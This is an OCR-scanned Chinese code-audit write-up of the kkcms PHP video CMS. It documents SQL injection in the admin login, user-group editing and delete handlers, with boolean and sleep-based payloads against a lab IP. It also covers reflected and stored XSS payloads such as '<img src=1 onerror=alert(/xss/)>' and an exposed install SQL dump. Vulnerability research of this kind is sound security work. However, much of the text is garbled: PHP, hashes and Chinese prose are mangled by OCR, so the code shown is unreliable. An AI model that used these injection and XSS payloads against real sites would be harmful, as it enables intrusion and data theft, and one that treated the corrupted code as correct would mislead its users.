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JFLE session FIUEANRY verifycode B2HRHEZ%

<?php
(*../system/inc.php*);
(isset($_POST[ ‘submit'])){

($ SESSION[ 'verifycode'] $ POST[ ‘verifycode'])
alert href("iIFB%51%", "cms_login.php');
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F <dlv Class="torm-group ».</div
¥<div class="form-group
label ¥ i< /label
¥ <¢div class="input-group input-group-icon
input name="verifycode” type="text” class="form-contrel bk-noradius” style="width:180%
¥ <span class="input-group-addon” style="width:15%
img src="../system/verifycode.php” onclick="javascript:this.src="../system/verifycode.php?'+Math.random()" style="cursor:po

TR
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HERIESE, KMRTE verifycode.php FATFE $§ SESSION['verifycode']
4Rk 0—9 RYREHN 4 RIBSIERS.

$str o1.

$rand str
($1 by $ie+){
$k = mt rand(1, strlen($str));
$rand str $str[$k - 1];

1

)
$ SESSION[ 'verifycode'] - $rand str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand str, $fcolor);
header( 'content-type:image/png’);
imagepng($image);

2>
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BRAE, RKIFETLIER LS html TUHE, txt FE

$ext_arr - array(
"image’ array('gif®, ‘'jpg’', 'jpeg', 'png’, ‘bmp'),
‘flash’ : swf', "flv'),
"media’ array('swf", *flv', 'mp3*, 'wav', 'wma', 'wmv', ‘mid‘', ‘avi®, ‘mpg', 'asf’,
‘rm', "rmvb'),

"file® array(‘'doc', ‘'docx', ‘xls", ‘xlsx', ‘ppt‘, ‘htm', ‘html®, *txt*, ‘zip', ‘rar’
'gz', 'bz2' ,'7z"),

)5

$max_size
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EIFMIIEILIEE https://www.cnblogs.com/backlion/p/10421405.html, AXAEEEIR,
(https://www.cnblogs.com/backlion/p/10421405.htmI%EF%BC%8C%E6%9C%AC%E6%9
6%87%E4%B8%8D%E5%86%8D%E8%B5%98%E8%BF%B0%E3%80%82)

PO, #F SQL IENRIL:

£ admin/login.php [F&&RAUtt5EER a_name F] a_password ;8BZKITIEHFH N SQL
ks

LAIANTFEREHREE

<?php
('../system/inc.php");
(isset($_POST[ 'submit’'])){
($_SESSION 2] 1- $ POST['verifycode']) {
alert_href( "4 Jfai=R", "cms_login.php');
1
J
null back($ POST['a name'],"'1&

_ $ POST["a password'],"’ VF
null back($ _POST['verifycode']," WS );
$a_name - $ POST["a_name'];
$a_password - $ POST['a password'];

$sql "select * from xtcms_manager where m_n*nﬁ = "'.$a name.'" and m_password = "' .md5($a_password)

3
$result ysql query($sql);
s arr (

( $row

(https://xzfile.aliyuncs.com/media/upload/picture/20200429151410-06085d26-89e9-
1.png)
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=1 sqlmap FH#THFER L& ing! ! !
Bag 7 — 1 easy KIBHITRZREEHHN MySQL IEEAIIXIE ST TERY

select * from xtoms_manager where m_name = “admin” and m_password = “e10adc3949ba59abbe56 057 £20£883”
SELECT COUNT (%) AS count FROM xtcms_user
SELECT COUNT (%) AS count FROM xtoms_user
SELECT COUNT (%) AS count FROM xtoms_vod
SELECT COUNT(*) AS count FROM xtoms_ved
SELECT COUNT(*) AS count FROM xtcms_user_pay
SELECT COUNT (#) AS count FROM xtoms_user_pay
SHOW VARIABLES

SHOW COLLATION

SET HAMES utf8;SET character_set_results=NULL
set names utf8

select * from xtoms_system where id =1

set names utfd

select * from xtoems_system where id =1

set names utfB

select * from xtoms_system where id = 1

select * from xtoms_manager where m_name = "\"admin\” or 1=1;#" and m_password = "¢10adc3949ba59abbe56.057£20£853e"

(https://xzfile.aliyuncs.com/media/upload/picture/20200429151431-124d1de2-89¢e9-
1.png)
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("../system/inc.php');

[ T T ot o al ) [ [ . T

\ _I_ S5 ;__ - .:>u:_mu :-_ 1)1

($_§ESSION['verifycode'] $ POST[ "verifycode'])

alert href('WIEBEIR", "cms_login.php');

(https://xzfile.aliyuncs.com/media/upload/picture/20200429151444-1a1fb336-89e9-
1.png)

inc.php IARZE

("conn.php');
(*library.php’);
("function.php');
("config.php');
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$_POST - addslashes_deep($%$_POST);
1
J
$_COOKIE - addsl: eep($_COOKIE);
$_REQUEST - addsla ep($_REQUEST);

function addslashes_deep($ var @)

(empty($_var_@)) {
$ var_0;

{

is array($ var @) ? array map('addslashes deep', $ var @) : addslashes($ var @);

(https://xzfile.aliyuncs.com/media/upload/picture/20200429151506-27698b48-89e9-

1.png)
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ALARSBRNERRBEHABREE, MBTEShEIEFE, EithiREERNs|SiHTE
2, ERHA sql EUHITHIE

» ‘<a href="./vlist.php?cid=".$row[ 'c_id']."" class="acat" style="white-space:
pre-wrap;margin-bottom: 4px;">' .$row['c _name'].'</a>";

<?php
($_GET['cid'] 0){

2>

<?php

$result - mysql query('select * from xtcms_vod class where c_pid=".$% GET['cid']."' order by c_sort
desc,c_id
($row = mysgl fetch_array($result)){

echo '<a href="./vlist.php?cid=".%row['c_id"].'" class="acat" style="white-space:
pre-wrap;margin-bottom: 4px;">' .$row[‘c name']."</a>";

(https://xzfile.aliyuncs.com/media/upload/picture/20200429151552-42a62452-89e9-
1.png)
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(XBEFTEARRR, RNF#TAE, BEAMEOA cid 2FT 0, XSRHAMPMNIER—TE
RYRYTD)

$result = mysql_query('select * from xtcms_vod_class where c_pid=0 order by c_id asc');
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id=1and 1=2
| 192.168.49.1/cms/kkcms/admin/cms usergroup edit.php?id=1%20and%201=2
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» ER=ER
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192.168.49.1/cms/kkcms/admin/cms _usergroup edit.php?id=1%20and%201=1
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HANHFHITEER, ERHTHER

cms_usergroup_edit.php

col-1g-12">
5="panel bk-bg-white">
1-heading bk-bg-prim
fa fa-tags red"></

$result _qL t * from xtcms_user_group where ug_jp:: ' $_th['iﬁ'] |
($row fetch $result)){

>

< me Lhod="posi"> Tass="tav-content >
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192.168.49.1/cms/kkcms/admin/cms usergroup edit.php?id=1%20and%Z20ascii(left(database(),1))=107,

i SR BE WSO T35 WEBELE= Tip exploits RIS X1z
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http://192.168.49.1/cms/kkcms/admin/cms_usergroup.php?del=2%20and%20sleep(5)

Name Status Type Initiator Size  Time Waterfall

200 document  Other 467 B 5.07 s | I
< aea

ann L 5, 1)

|_| ems_usergroup.php?del=2%20and%20sleep(5)

o~ o
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MEAMORIBREE, EEINGFIN del B8, BALIEE, BAEONBIRERREH
=5y
FFETEAGAXHHAEE 12 ASTHETE delete FEA

E: \phpstudy\PHPTutorial \WWW\cms\kkcms\admin\model\ad.php:
<?php

3: if (isset($ GET['del’'])) {
4: $sql = "delete from xtcms ad where id = " . ﬁ_GET['del'ﬂ .
if (mysql query($sql)) {
alert href('MIERAEZN!", 'cms_ad.php');

E:\phpstudy\PHPTutorial \WWW\cms\kkcms\admin\model\ad edit.php:
<?php
3: if (isset(§ GET['del'])) { _ .
4: $sql = 'delete from xtcms_ad where id = " . [§ GET['del’] .

if (mysql query($sql)) {
alert href('MIERAEZN!", 'cms_ad.php');

E: \phpstudy\PHPTutorial \WWW\cms\kkcms\admin\model\admin.php:
<?php
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: if ($_GET['del’'] == 1) {
alert back('BAAMFAEERIBR ! *);
} else {
if (isset($_GET['del’'])) { _ _
$sql = "delete from xtcms manager where m_id= ' . [§ GET|'del'”
if (mysql query($sql)) {
alert href('MIEREXZI1", *cms_admin.php');

E: \phpstudy\PHPTutorial \WWW\cms\kkcms\admin\model\adwei.php:
1

J

¥ P
14: if (isset($_GET['del’])) {
15: %$sql = 'delete from xtcms adclass where id = '

(https://xzfile.aliyuncs.com/media/upload/picture/20200429165022-7622026¢-89f6-
1.png)
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1. BEERET—IAE, SHEEN get ERNSH, XeERK(ISH XSS miRrISH R
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template\wapian\movie.php
template\wapian\tv.php
template\wapian\zongyi.php
template\wapian\dongman.php

2. mdEE4t URL AT URL 771 m, cat . page 53]
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T2 | 192.168.49.1/cms/kkcms/movie.php?m=/dianying/list.php?cat=1068&page=1
SEERZRI EEME E= SO PSS WEBXHR~= Tip exploits =l X
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<?php
"system/inc.php’;
"system/list.php’;

$page-$ GET[ "page'];

("template/' . .$xtcms bdyun.'/movie.php');?>

(https://xzfile.aliyuncs.com/media/upload/picture/20200429152547-a50730ea-89ea-
1.png)

4. ERi# include('template/'.$xtcms_bdyun.'/movie.php'); #fY $xtcms _bdyun 24
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$result - mysql query('select * from xtcms system where id = 1');

o+ 3 C [ £t IR
21 Uw myosyi Tcilull_alrray k._pl 33Ul L;’

$xtcms_domain - $row[’'s domain’];
$xtcms name - $row['s name’];
$xtcms_seoname - $row[’'s_seoname’];
$xtcms_keywords - $row['s keywords'];
$xtcms_description - $row['s_description'];
$xtcms_copyright = $row['s_copyright'];
$xtcms cache - $row['s cache'];

$xtcms _wei - $row['s wei'];

$xtcms _user - $row[ s user’];

$xtcms logo - $row|['s logo'];

$xtcms _weixin - $row['s weixin'];
$xtcms_dashang - $row['s dashang'];
$xtcms_mjk - $row['s _mjk'];
$xtcms_jiekou = $row['s jiekou'];
$xtcms changyan $row[ ‘s changyan'];
$xtcms_qqun - $row['s _qqun’];
$xtcms_token- $rowl's token']l:
$xtcms_bdyur] $r0wd'5_bdyun'];
$XTCms_tongji $row[ s _tongji’J;

(https://xzfile.aliyuncs.com/media/upload/picture/20200429152558-abd3732a-89%ea-
1.png)
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from xtcms
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5. EIEIEE template/wapian/movie.php, FEZE m, &G %I echo

<’php
$b - (strpos($_GET['m'], "rank="));
$ye wuhalr{$_GFTu'm'lJ $b );
7y
<. <?php ($ye "rankhot™) {
echo ‘class="active"";
¥ ($ye "createtime" $ye “rankpoint”) { } {
echo 'class="active"';
}; P3¢ her:"Pm:jdlanyingfliat.php?rdnk:rdnkhutﬁpdge=1‘5¢ﬁ§%§ﬁ<j >¢/1i>
<?php ($ye "createtime”) {
echo 'class="active"':
} { }; ?>><a href="?m=/dianying/list.php?rank=createtime&page=1">&3}
</ar</1i>
<?php ($ye "rankpoint™) {
echo 'class="active"':

} { }; ?>><a href="?m=/dianying/list.php?rank=rankpoifftRpage= 1 >iRH
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v :lis
<a href="tv.phpm=11118page=5">5</a>
J1i>

v:1lis
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7. FRERENHERHTEM, BT RITHERH echo F8

E:\phpstudy\PHPTutorial \WhWk\cms\kkcms\template\wapianidongman.php:
<div class="hy-page clearfix”>
<ul class="cleatix">

<ul class="stui-page text-center cleafix">

<?php echa getPageHtml($page, $fenye, "dongman.php?m=" . $yourne
‘Bpage="); ?»<li><a>#<?php lecha $fenye; ?>M</ax»</li>
"'.‘l”]_}
“ 0 L

E:\phpstudy\PHPTutorial \WWkW\cms cms\template\wapianimovie.php:
<fdiv>
<div class="hy-page clearfix”>
<ul class="stui-page text-center cleafix™»
<?php echo gptraanTmlfipagEJ $fenye, '"movie.php?m="' . $yourneed
'&page="); ?><li><a>#<?php lecha $fenye; ?>01</a></li>
</ul>

E:\phpstudy\PHPTutorial \WWkW\cms\kkcms\template\wapian\tv.php:
<fdiv>
<div class="hy-page clearfix">
<ul class="stui-page text-center cleafix™>
<?php echa gefp thfmlfmpahe $fenye, "tv.php?m=" . $yourneed .
?><lis<a><?php echg $fenye;
</ul>

E: \phpstudy\PHPTutorial\WWW\cms\kkcms\template\wapian\zongyl.php:
< fdiv>
<div class="hy-page clearfix™>
<ul class="stui-page text-center cleafix™y
f’php echd getPa g itml($page, $fenye, *zongyi.php?m=' |./$yourheed

.o T .
AN ES
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8. 1R getpageHtml EREL SK4TE system/function.php, HESEBENEREL, BAKE,
BEFRNMNEMEHIEXNESHITENTIE (L3 SQL Bnibay addslashes &<ELUTIE
xss) , EUCEREUER 7 XSS iwiE

$_var_63
$ _var_60
$ _var_60
$ var 61
$ _var_64
$£ var_64
$ _var_6&5
$_var_65
$_var_66

$ _var_60 ? 1 : $ var_60;

$ var_ 60 > $ var 61 ? $ var_61 : $_var_60;
$ var 61 $ var 60 ? $ var 60 : $ var 61;
$_var_60 - fl ($_var_63 );:

$ var_64

$ _var_60

$_wvar_B5 $ var_ 61 ? $ var_61 : $_var_65;
$_var_65 $_var_64 -

($ var 66 < $ var 63 £ var_64 1) {

$ var 64 - $ _var_64 ($_var_63 - $_var _66);
$_var_64 - $_var_64 ? 1 : % _var_64;
$_var_66 $_var_65 $_var_64 s

($ var 66 < $ var 63 $ var_ 65 < $ var _61) {

$_var_65 $_wvar_65 ($_var_63 $_wvar_66);
$ var_B5 $ var 65 > $ var_ 61 ? $ var_61 : $ var_65;

($_var_60 )
$_var_67 '<li><a title="FE—TA" href="" $_var_62 ($_var_60

($ var 68 $ var 64; $ var 68 $ var 65; $ var 68++) {
($_var_68 $_var_60) {

1
g

}

$_var_67 <13 tyle="background: #FF9900;"><{font color="#fff">"' $ war_68

</font><
I

1
$_var_67 "¢1i><a href="" $_var_62 $_var_68 e 3 $_var_68 "<far<flix';

($_var_60 < $_wvar_65) {

$_var_67 '<li><a title="F—T" href="" $_var_62 . ($_var_60 F T) e S ) il - r Xy A S R
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<script>111% /script>
"&page=5">5"
<fa>
</1i>
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ItEsh, BIMFEILLL XSS, HIRIEHAN LA XSS XU, it <EME page <
Bgn: cat 244 77E XSS

192.168.49.1//cms/kkcms/movie.php?age=18&m=/dianying/list. php?cat=1"> <img%20src=1%20cnerrar=alert(/xss/) >

& {EEuE = BEST PaRT} _ tools tE
o 7 192.168.49.1 B

fuss/

Bl B EEHE]

B OBE A ER RO BEE BNS BR 2% 2018 2017 2016 2015 2014 |E L3 Al =8
P 4 HE B Efb 2013 2012 2011 2010 2009 TE R 5
B EmEsh BT

s 8page=2">2 &page=3">3 &page=4">4 &page=5">5 8page=2"">"F—m

(https://xzfile.aliyuncs.com/media/upload/picture/20200429152842-0d77be24-89eb-

1.pnQg)
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https://xzfile.aliyuncs.com/media/upload/picture/20200429152745-ebbd29d6-89ea-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200429152842-0d77be24-89eb-1.png

192.168.49.1//cms/kkcms/tv.php?m=/dianshi/list.php%3Farea="> <img%20src=1%200nerror=alert(/xss/) > &pageno=1
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SR TR T AL R R |J1§)\E’JP\]§‘%‘%§§E“}R$ (\x7f-\xff)

MRAIENT, NHASTE
AT, RHFE— TSRS, IR0 - 300 -

<?php
('system/inc. php ),
(isset($ POST[ 'submit"J))%
($_SESSION| "ver N $_POST[ "verifycode']) {
alert_hret (" WIEBEIR", "book.php’);

1
1]

null back($_POST['userid'], "iEHEEREH");
null _back($_POST['content'], ' BEEHEENE");

match(™/[ \x71 ]+(?: [ \x71 ]+)*/™, $ POST[ ‘userid’ ]))
<script>alert("’ B,H’]T:. r' ) loratlon href="'book.php'</script>'

(!ctype space($ POST[ ‘content']) empty($_POST[ ‘content'])) {

(!preg_match("/[\x7f-\xff]+(: x71 ]+)*/", $ POST['content®])) {
echo "<script>alert(" I -EETE 7%1");location.href="book.php'</script>";
"-  J
5
{
echo "<script>alert('ABEERSE!");location. href="book.php'</script>";

(https://xzfile.aliyuncs.com/media/upload/picture/20200429153034-504e85de-89¢eb-
1.png)
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BYIENRIRER, BEEHEANSIEE, HEE87T template TH book.php 324

$data[ 'userid'] - $_POST[ 'userid'];
$data[ 'content’] =addslashes($_POST['content']);
$data[ "time’ date('y-m-d h:i:s',time());
$str = arrte art(ddata);
$sql = ‘insert into xtcms book ('.$str[0].') values
(mysql query($syl)){

alert_href ('@ EHIh /NS L AEERE I, 'hook.php )3
}

{ . e
alert_back( 13k | BR5;

1
s

("template/' . $xtcms_bdyun. ' /booK.php');

(https://xzfile.aliyuncs.com/media/upload/picture/20200429153120-6bb37834-89¢eb-
1.png)

BRI, ATMNEEEFEL, AfREE echo, 774 xss
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$result - mysql query($sql.’' limit ' .$pager[0]."," .$pager[1]."");
($row mysql fetch array($result)){?>
<?php
$zhStr = $row[ 'Reply’];
?>
< class="hy-layout clearfix" stylé="margin-top:0px">
< cla "hy-switch-tabs">< class="text-muted pull-right">&5<?php ;EFE $row[ "id'] »>#</
class="nav nav-tabs"><1i>< »<?php Egﬂﬁ $row[ 'userid'] ?></ </ lis<fuls

/

"tab-content™>

'hy-play-1list tab-pane fade in active"” id="1ist3">

tem">

s="pl
><?php lechd $row[ 'content’] ?><hr/> .
color=red><?php if(@ strlen($zh$tr)){pchq '%?ﬂif 2 @ ";echg $row[ ‘Reply1;12></fomin

<
<
<
<
<
<
<
<

(https://xzfile.aliyuncs.com/media/upload/picture/20200429153545-098ebb90-89ec-
1.png)

payload: $; <img src=1 onerror=alert(/xss/)>
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[EERIBBSIRRI4/I cms_book.php

<?php

$sql ‘select * from xtcms book order by id desc';
E.pager naee_handle( 'nage’ .20 .mvsal_num |r'r1l-..4.uf_'
mysql query($sql)));
$result - mysql query($sql.’ limit " .$pager[0].",".%
___ pager[1]."");
($row- mysql fetch_array($result)){

class="checkbox-custom checkbox-default”>
< type="checkbox™ name="
id[]" value="<?php echo 'f,:_r‘[;]k'-.l:[
id'] " />
< for="che¢kboXxExample2"

(https://xzfile.aliyuncs.com/media/upload/picture/20200429153659-35fa4db7c-89ec-

1.pnQg)
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£ youlian.php NEERLURAR K IBHEEFRISHIINARE

< C O © F&2| 192.168.49.1/cms/kkcms/youlian.php
: RA Z25i SCAEEERI {EEME B= mEDHT RIREE WEBENE:
v /s
. EBHIE
. 2z
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o {FF
o HIERHERERELCX
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BEIHEREIT— addslsashes BUIEARRENSURES, XEHFEBEL XSS

<?php
('system/inc.php');
(isset($ POST[ submit®])){
null back('admin®,".");
null back($ POST['content’], "{REVE
$data[ 'userid’] % _POST[ ‘nserid']l:
$data[ 'content'] -addslashes($ POST[ 'content’]);
$data[ "time'] =date("y-m-d n:i:s ,time());

$5t|ﬂ ar'r“t\_u-_llJcl L($L.;G‘LCI},
$sql = ‘'insert into xtcms youlian ('.$str[@].') values ('.%str[1].')";
(mysql_query($sql)){

alert _href (" BBERY | B OEFHFERREE ] I, youlian.php');

J

I

L o - A X = v e ==
alert_back("FBAM | BEXRMILEBERBEE! ');

1
I

("template/' .$xtcms_bdyun. ' /youlian.php');
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ENRim AGEETELL, RUATFRERL XS

< X 0 O &£ 192.168.49.1/cms/kkcms/admin/cms_youlian.php
i A Z2EM SCAESERI (EEME _ KL
- 192.168.49.1 &7
/xss/
KKCMS ADMIN
0 maem
asdsad 2020-04-29 03:54:11
EE RRIEE asdasd 2020-04-29 03:53.09
=3 asdasd 2020-04-29 03:52:55
1" 2020-04-29 03:43:25
funER
asdasd 2020-04-29 03:43:05
SRER 555 2020-04-28 06:22:24
a2t 555 2020-04-28 062224
5558754093 2020-04-28 06:22:24
AEEE -
W' &% 2020-04-28 06:22:24
555\ ()&% 2020-04-28 062222
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+. HUEEERMHE

FRZENXEREFEEEREN, HMEIFE— data.sql
FIAM AN EIACIRIREEIIHIEEER, XER T MENTENERHERRE

€ C O O F==£| 192.168.49.1/cms/kkcms/install/data.sql

A T2 SEafsE (B i ST mfes

- MySQL dump 10,13 Distrib 5.5.60, for Linux (x86_64)

- Host: localhost Database: cc_wslmf_com

- Berver version &. 5. 60-1og

*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */

#140101 SET @OLD_CHARACTER_SET_RESULTS=8QCHARACTER_SET_RESULTS #/.

#140101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */

*140101 SET NANMES utf8 #/;

*140103 SET @OLD_TIME_ZONE=@QTIME_ZONE */

#140103 SET TINE_ZONE=' +00:00° */

*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */,

#140014 SET @OLD_FOREIGN_KEY CHECKS=@MFOREIGN_KEY CHECKS, FOREIGN_KEY CHECKS=0 +/.
#140101 SET @OLD_SQL_MODE=@4SCL_MODE, SQL_MODE="NO_AUTO_VALUE_ON_ZERO’ */

*140111 SET @OLD_SOL_MOTES=@@SOL_NOTES, SOL_NOTES=0 */;

- Table structure for table =xtcms_ad

ROP TABLE IF EXISTS xtcms_ad ;
#140101 SET @saved_cs_client = @character_set_client #/;
®£140101 SET character_set_client = utfd */.
REATE TABLE ~xtems _ad
id smallint(11} NOT NULL AUTO_INCREMENT,
“title  warchar(255) DEFAULT MULL,
‘url” warchar(255) DEFAULT MULL,
"pic’ warchar(255) NOT NULL,
“eatid’ warchar(255) DEFAULT ML,
'manshu varchar (255) DEFAILT WULL,

g . rnmelnaan (OEEY TERATT T MAWT
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Pa'wuld 4 ¥AL WAL Lt Mol MUk IV,

"1ink” warchar (?55) DEFAULT MULL,

PRIMARY EEY ( id )

ENGINE=MvISAN AUTO_INCEEMENT=9 DEFAIULT CHARSET=utfS;

#140101 SET character_set_client = @saved_cs_client */;

(https://xzfile.aliyuncs.com/media/upload/picture/20200429153747-529a20b8-89%ec-
1.png)
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